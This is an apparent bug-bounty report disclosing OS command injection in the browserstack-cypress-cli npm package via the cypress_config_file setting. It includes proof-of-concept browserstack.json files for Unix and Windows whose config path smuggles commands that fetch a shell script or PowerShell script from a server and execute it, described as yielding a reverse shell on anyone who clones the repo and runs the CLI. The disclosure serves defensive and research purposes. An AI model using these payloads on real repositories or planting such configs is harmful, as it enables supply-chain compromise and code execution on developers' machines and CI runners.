The browserstack-cypress-cli npm package (v1.36.3) is vulnerable to OS command injection via the cypress_config_file configuration parameter. In readCypressConfigUtil.js, the loadJsFile() function constructs a shell command by interpolating the user-controlled cypress_config_filepath value into a template literal, then executes it via child_process.execSync(). Shell metacharacters in the config path (specifically " and ;) allow breaking out of the quoted argument and injecting arbitrary commands.

POC :

1. Attacker creates a git repository with:
   • A malicious config file browserstack.json

{
  "auth": {
    "username": "mrecho@wearehackerone.com",
    "access_key": "hhhhhhhhhhhhhhhhhhhh"
  },
  "browsers": [
    {
      "browser": "chrome",
      "os": "Windows 10",
      "versions": ["latest"]
    }
  ],
  "run_settings": {
    "cypress_config_file": "cypress.config\";curl localhost:8000/shell.sh|sh;\".js",
    "cypress_version": "13",
    "project_name": "test",
    "build_name": "test"
  }
}

Windows :

{
    "auth": {
      "username": "mrecho@wearehackerone.com",
      "access_key": "hhhhhhhhhhhhhhhhhhhh"
    },
    "browsers": [
      {
        "browser": "chrome",
        "os": "Windows 10",
        "versions": ["latest"]
      }
    ],
    "run_settings": {
      "cypress_config_file": "cypress.config\"&curl http://localhost:8000/shell.ps1 -o %TEMP%\\s.ps1 & powershell -ep bypass %TEMP%\\s.ps1&\".js",
      "cypress_version": "13",
      "project_name": "test",
      "build_name": "test"
    }
  }

2. Victim clones the repo and runs npx browserstack-cypress-cli run
3. The CLI reads browserstack.json, resolves the config path, and passes it to execSync()
4. Attacker gets reverse shell on the victim's machine .

Impact

A malicious browserstack.json in any Git repository achieves arbitrary code execution on any developer or CI runner that clones the repo and runs npx browserstack-cypress-cli run, enabling supply chain attacks across the 30K+ weekly downloads of the package — no user interaction beyond the standard test command.

best regards ,
@MrEcho

initially reported to browserstack private bugbounty program #3610018